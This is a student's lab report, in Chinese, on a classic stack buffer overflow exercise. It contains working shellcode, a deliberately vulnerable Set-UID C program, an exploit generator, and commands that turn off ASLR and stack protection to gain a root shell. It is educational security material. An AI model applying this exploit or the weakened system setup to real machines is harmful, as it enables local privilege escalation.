20181329张运鼎-缓冲区溢出漏洞攻击试验
一、实验介绍
适用人群:
- 有 C 语言基础
- 会进制转换以及计算
- vim 基本使用
- 熟悉基本 linux 命令
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
二、实验准备
系统用户名 shiyanlou
实验楼提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。
输入命令安装一些用于编译 32 位 C 程序的软件包:
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
三、实验步骤
(一)、初始设置
1、Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
2、此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash
中实现。
linux 系统中,/bin/sh
实际是指向 /bin/bash
或 /bin/dash
的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash
。下面的指令描述了如何设置 zsh 程序:
sudo su cd /bin rm sh ln -s zsh sh exit
3、输入命令 linux32
进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,输入 /bin/bash
使用bash:
(二)、shellcode
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。
观察以下代码:
1 #include <stdio.h> 2 int main() 3 { 4 char *name[2]; 5 name[0] = "/bin/sh"; 6 name[1] = NULL; 7 execve(name[0], name, NULL); 8 }
本次实验的 shellcode,就是刚才代码的汇编版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
(三)、漏洞程序
在 /tmp
目录下新建一个 stack.c
文件:
cd /tmp vim stack.c
按 i
键切换到插入模式,再输入如下内容:
1 /* stack.c */ 2 3 /* This program has a buffer overflow vulnerability. */ 4 /* Our task is to exploit this vulnerability */ 5 #include <stdlib.h> 6 #include <stdio.h> 7 #include <string.h> 8 9 int bof(char *str) 10 { 11 char buffer[12]; 12 13 /* The following statement has a buffer overflow problem */ 14 strcpy(buffer, str); 15 16 return 1; 17 } 18 19 int main(int argc, char **argv) 20 { 21 char str[517]; 22 FILE *badfile; 23 24 badfile = fopen("badfile", "r"); 25 fread(str, sizeof(char), 517, badfile); 26 bof(str); 27 28 printf("Returned Properly\n"); 29 return 1; 30 }
通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置 SET-UID。命令如下:
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector
关闭这种机制。 而 -z execstack
用于允许执行栈。
-g
参数是为了使编译后得到的可执行文档能用 gdb
调试。
(四)、攻击程序
我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root
权限。
在 /tmp
目录下新建一个 exploit.c
文件,输入如下内容:
1 /* exploit.c */ 2 /* A program that creates a file containing code for launching shell*/ 3 #include <stdlib.h> 4 #include <stdio.h> 5 #include <string.h> 6 7 char shellcode[] = 8 "\x31\xc0" //xorl %eax,%eax 9 "\x50" //pushl %eax 10 "\x68""//sh" //pushl $0x68732f2f 11 "\x68""/bin" //pushl $0x6e69622f 12 "\x89\xe3" //movl %esp,%ebx 13 "\x50" //pushl %eax 14 "\x53" //pushl %ebx 15 "\x89\xe1" //movl %esp,%ecx 16 "\x99" //cdq 17 "\xb0\x0b" //movb $0x0b,%al 18 "\xcd\x80" //int $0x80 19 ; 20 21 void main(int argc, char **argv) 22 { 23 char buffer[517]; 24 FILE *badfile; 25 26 /* Initialize buffer with 0x90 (NOP instruction) */ 27 memset(&buffer, 0x90, 517); 28 29 /* You need to fill the buffer with appropriate contents here */ 30 strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址 31 strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100 32 33 /* Save the contents to the file "badfile" */ 34 badfile = fopen("./badfile", "w"); 35 fwrite(buffer, 517, 1, badfile); 36 fclose(badfile); 37 }
注意上面的代码,\x??\x??\x??\x??
处需要添上 shellcode
保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode);
这一句又告诉我们,shellcode
保存在 buffer + 100
的位置。下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:
gdb stack disass main
esp 中就是 str 的起始地址,所以我们在地址 0x080484ee
处设置断点。
接下来的操作:
# 设置断点 b *0x080484ee r i r $esp
最后获得的这个 0xffffcfb0
就是 str 的地址。
按 q
键,再按 y
键可退出调试。
根据语句 strcpy(buffer + 100,shellcode);
我们计算 shellcode
的地址为 0xffffcfb0
+ 0x64
= 0xffffd014
实际操作中你的地址和我这里的地址可能不一样,需要根据你实际输出的结果来计算。
可以使用 十六进制加法计算器 计算。
现在修改 exploit.c
文件,将 \x??\x??\x??\x??
修改为计算的结果 \x14\xd0\xff\xff
,注意顺序是反的。
然后,编译 exploit.c
程序:
gcc -m32 -o exploit exploit.c
(五)、攻击程序
先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:
可见,通过攻击,获得了root 权限!
四、进一步练习
1、按照实验步骤进行操作,攻击漏洞程序并获得 root 权限。
2、通过命令 sudo sysctl -w kernel.randomize_va_space=2
打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。
3、将 /bin/sh
重新指向 /bin/bash
(或/bin/dash
),观察能否攻击成功,能否获得 root 权限。
五、实验体会
1、由于实验环境的缓慢,在进行代码输入的时候经常会卡死,导致代码字母遗漏,无法完成,很多次都是在报错检查以后才发现是代码输错。所以,以后应该养成良好的输入习惯,边检查边输入。
2、虽然实验教程十分详细,但一些地方还是需要同学的帮助才能完成。
3、在进行修改 exploit.c
文件,将 \x??\x??\x??\x??
修改这一步时,虽然提示顺序是反的,但是自己没有细看,写成了\x41\x0d\xff\xff,以为是逐字写反顺序,后来报错检查后才发现应该是\x14\xd0\xff\xff。
4、通过本次实验理解了缓冲区溢出攻击的原理,也发现了自己在编译过程中的一些不好习惯,之后更加注意。